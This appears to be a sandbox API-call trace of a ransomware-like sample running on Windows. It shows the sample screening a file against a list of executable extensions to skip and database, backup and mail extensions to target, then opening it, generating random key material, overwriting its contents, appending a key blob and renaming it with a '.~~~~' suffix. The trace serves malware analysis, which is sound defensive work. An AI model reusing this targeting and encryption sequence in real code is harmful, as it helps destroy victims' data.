	[0076.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3ae0 | out: hHeap=0x300000) returned 1
	[0076.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0076.551] GetLastError () returned 0x0
	[0076.551] RtlWakeConditionVariable () returned 0x365f70
	[0076.551] GetCurrentThreadId () returned 0xaf0
	[0076.551] GetCurrentThreadId () returned 0xaf0
	[0076.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ae0
	[0076.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ad258 | out: hHeap=0x300000) returned 1
	[0076.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3568 | out: hHeap=0x300000) returned 1
	[0076.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4120
	[0076.552] lstrlenW (lpString=".scr") returned 4
	[0076.552] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".scr") returned 0x0
	[0076.552] lstrlenW (lpString=".cmd") returned 4
	[0076.552] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".cmd") returned 0x0
	[0076.552] lstrlenW (lpString=".dll") returned 4
	[0076.552] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".dll") returned 0x0
	[0076.552] lstrlenW (lpString=".bat") returned 4
	[0076.552] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".bat") returned 0x0
	[0076.552] lstrlenW (lpString=".cpl") returned 4
	[0076.552] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".cpl") returned 0x0
	[0076.552] lstrlenW (lpString=".sys") returned 4
	[0076.552] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".sys") returned 0x0
	[0076.552] lstrlenW (lpString=".msc") returned 4
	[0076.552] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".msc") returned 0x0
	[0076.552] lstrlenW (lpString=".com") returned 4
	[0076.552] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".com") returned 0x0
	[0076.552] lstrlenW (lpString=".lnk") returned 4
	[0076.552] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".lnk") returned 0x0
	[0076.552] lstrlenW (lpString=".msp") returned 4
	[0076.552] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".msp") returned 0x0
	[0076.552] lstrlenW (lpString=".pif") returned 4
	[0076.552] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".pif") returned 0x0
	[0076.552] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.552] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0076.552] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0076.553] lstrlenW (lpString=".sqb") returned 4
	[0076.554] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".sqb") returned 0x0
	[0076.554] lstrlenW (lpString=".ost") returned 4
	[0076.554] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".ost") returned 0x0
	[0076.554] lstrlenW (lpString=".txt") returned 4
	[0076.554] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".txt") returned 0x0
	[0076.554] lstrlenW (lpString=".mdt") returned 4
	[0076.554] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".mdt") returned 0x0
	[0076.554] lstrlenW (lpString=".BDB") returned 4
	[0076.554] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".BDB") returned 0x0
	[0076.554] lstrlenW (lpString=".eql") returned 4
	[0076.554] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".eql") returned 0x0
	[0076.554] lstrlenW (lpString=".DBF") returned 4
	[0076.554] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".DBF") returned 0x0
	[0076.554] lstrlenW (lpString=".EQL") returned 4
	[0076.554] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".EQL") returned 0x0
	[0076.554] lstrlenW (lpString=".FDB") returned 4
	[0076.554] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".FDB") returned 0x0
	[0076.554] lstrlenW (lpString=".EDB") returned 4
	[0076.554] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".EDB") returned 0x0
	[0076.554] lstrlenW (lpString=".DACPAC") returned 7
	[0076.554] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".DACPAC") returned 0x0
	[0076.554] lstrlenW (lpString=".VHD") returned 4
	[0076.554] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".VHD") returned 0x0
	[0076.554] lstrlenW (lpString=".DBV") returned 4
	[0076.554] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".DBV") returned 0x0
	[0076.554] lstrlenW (lpString=".dacpac") returned 7
	[0076.555] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".dacpac") returned 0x0
	[0076.555] lstrlenW (lpString=".sdf") returned 4
	[0076.555] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".sdf") returned 0x0
	[0076.555] lstrlenW (lpString=".accdb") returned 6
	[0076.555] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".accdb") returned 0x0
	[0076.555] lstrlenW (lpString=".DBX") returned 4
	[0076.555] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".DBX") returned 0x0
	[0076.555] lstrlenW (lpString=".MDT") returned 4
	[0076.555] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".MDT") returned 0x0
	[0076.555] lstrlenW (lpString=".SQB") returned 4
	[0076.555] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".SQB") returned 0x0
	[0076.555] lstrlenW (lpString=".vhd") returned 4
	[0076.555] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".vhd") returned 0x0
	[0076.555] lstrlenW (lpString=".bac") returned 4
	[0076.555] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".bac") returned 0x0
	[0076.555] lstrlenW (lpString=".mdf") returned 4
	[0076.555] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".mdf") returned 0x0
	[0076.555] lstrlenW (lpString=".BAK") returned 4
	[0076.555] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".BAK") returned 0x0
	[0076.555] lstrlenW (lpString=".BAC") returned 4
	[0076.555] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".BAC") returned 0x0
	[0076.555] lstrlenW (lpString=".dbs") returned 4
	[0076.555] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".dbs") returned 0x0
	[0076.555] lstrlenW (lpString=".vhdx") returned 5
	[0076.555] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".vhdx") returned 0x0
	[0076.555] lstrlenW (lpString=".NDF") returned 4
	[0076.555] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".NDF") returned 0x0
	[0076.556] lstrlenW (lpString=".dat") returned 4
	[0076.556] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".dat") returned 0x0
	[0076.556] lstrlenW (lpString=".DBS") returned 4
	[0076.556] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".DBS") returned 0x0
	[0076.556] lstrlenW (lpString=".CKP") returned 4
	[0076.556] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".CKP") returned 0x0
	[0076.556] lstrlenW (lpString=".edb") returned 4
	[0076.556] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".edb") returned 0x0
	[0076.556] lstrlenW (lpString=".PST") returned 4
	[0076.556] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".PST") returned 0x0
	[0076.556] lstrlenW (lpString=".dbf") returned 4
	[0076.556] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".dbf") returned 0x0
	[0076.556] lstrlenW (lpString=".SQL") returned 4
	[0076.556] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".SQL") returned 0x0
	[0076.556] lstrlenW (lpString=".pst") returned 4
	[0076.556] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".pst") returned 0x0
	[0076.556] lstrlenW (lpString=".dbv") returned 4
	[0076.556] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".dbv") returned 0x0
	[0076.556] lstrlenW (lpString=".SDF") returned 4
	[0076.556] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".SDF") returned 0x0
	[0076.556] lstrlenW (lpString=".dtxs") returned 5
	[0076.556] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".dtxs") returned 0x0
	[0076.556] lstrlenW (lpString=".db3") returned 4
	[0076.556] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".db3") returned 0x0
	[0076.556] lstrlenW (lpString=".OST") returned 4
	[0076.556] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".OST") returned 0x0
	[0076.557] lstrlenW (lpString=".dbx") returned 4
	[0076.557] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".dbx") returned 0x0
	[0076.557] lstrlenW (lpString=".DB3") returned 4
	[0076.557] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".DB3") returned 0x0
	[0076.557] lstrlenW (lpString=".DAT") returned 4
	[0076.557] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".DAT") returned 0x0
	[0076.557] lstrlenW (lpString=".VHDX") returned 5
	[0076.557] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".VHDX") returned 0x0
	[0076.557] lstrlenW (lpString=".ndf") returned 4
	[0076.557] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".ndf") returned 0x0
	[0076.557] lstrlenW (lpString=".DB") returned 3
	[0076.557] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".DB") returned 0x0
	[0076.557] lstrlenW (lpString=".sql") returned 4
	[0076.557] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".sql") returned 0x0
	[0076.557] lstrlenW (lpString=".MYD") returned 4
	[0076.557] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".MYD") returned 0x0
	[0076.557] lstrlenW (lpString=".DBT") returned 4
	[0076.557] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".DBT") returned 0x0
	[0076.557] lstrlenW (lpString=".ACCDB") returned 6
	[0076.557] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".ACCDB") returned 0x0
	[0076.557] lstrlenW (lpString=".fdb") returned 4
	[0076.557] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".fdb") returned 0x0
	[0076.557] lstrlenW (lpString=".bak") returned 4
	[0076.557] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".bak") returned 0x0
	[0076.557] lstrlenW (lpString=".myd") returned 4
	[0076.558] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".myd") returned 0x0
	[0076.558] lstrlenW (lpString=".DTXS") returned 5
	[0076.558] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".DTXS") returned 0x0
	[0076.558] lstrlenW (lpString=".ckp") returned 4
	[0076.558] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".ckp") returned 0x0
	[0076.558] lstrlenW (lpString=".dbt") returned 4
	[0076.558] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".dbt") returned 0x0
	[0076.558] lstrlenW (lpString=".db") returned 3
	[0076.558] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".db") returned 0x0
	[0076.558] lstrlenW (lpString=".TXT") returned 4
	[0076.558] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".TXT") returned 0x0
	[0076.558] lstrlenW (lpString=".MDF") returned 4
	[0076.558] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".MDF") returned 0x0
	[0076.558] lstrlenW (lpString=".bdb") returned 4
	[0076.558] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".bdb") returned 0x0
	[0076.558] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.558] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3ad1d8
	[0076.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.558] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a00d0) returned 1
	[0076.559] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.559] CryptReleaseContext (hProv=0x3a00d0, dwFlags=0x0) returned 1
	[0076.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0076.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28041e8
	[0076.560] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19654973190) returned 1
	[0076.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9788e050, dwHighDateTime=0x1d60e1e)) 
	[0076.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0076.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0076.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0076.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3568
	[0076.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3568 | out: hHeap=0x300000) returned 1
	[0076.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7cd8
	[0076.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7cd8 | out: hHeap=0x300000) returned 1
	[0076.560] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0076.561] GetLastError () returned 0x0
	[0076.561] GetLastError () returned 0x0
	[0076.561] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0076.561] GetLastError () returned 0x0
	[0076.561] GetLastError () returned 0x0
	[0076.561] ReadFile (in: hFile=0x118, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x1f8fec0*=0x545, lpOverlapped=0x0) returned 1
	[0076.563] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffabb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.565] WriteFile (in: hFile=0x118, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x545, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x545, lpOverlapped=0x0) returned 1
	[0076.565] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0076.565] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.565] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.565] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.565] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.565] CloseHandle (hObject=0x118) returned 1
	[0076.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0076.566] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.~~~~")) returned 1
	[0076.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0068 | out: hHeap=0x300000) returned 1
	[0076.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0076.566] GetLastError () returned 0x0
	[0076.567] RtlWakeConditionVariable () returned 0x365f70
	[0076.567] GetCurrentThreadId () returned 0xaf0
	[0076.567] GetCurrentThreadId () returned 0xaf0
	[0076.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ae0
	[0076.567] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ad320 | out: hHeap=0x300000) returned 1
	[0076.567] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a35a0 | out: hHeap=0x300000) returned 1
	[0076.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4120
	[0076.567] lstrlenW (lpString=".scr") returned 4
	[0076.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".scr") returned 0x0
	[0076.567] lstrlenW (lpString=".cmd") returned 4
	[0076.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".cmd") returned 0x0
	[0076.567] lstrlenW (lpString=".dll") returned 4
	[0076.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".dll") returned 0x0
	[0076.567] lstrlenW (lpString=".bat") returned 4
	[0076.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".bat") returned 0x0
	[0076.567] lstrlenW (lpString=".cpl") returned 4
	[0076.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".cpl") returned 0x0
	[0076.567] lstrlenW (lpString=".sys") returned 4
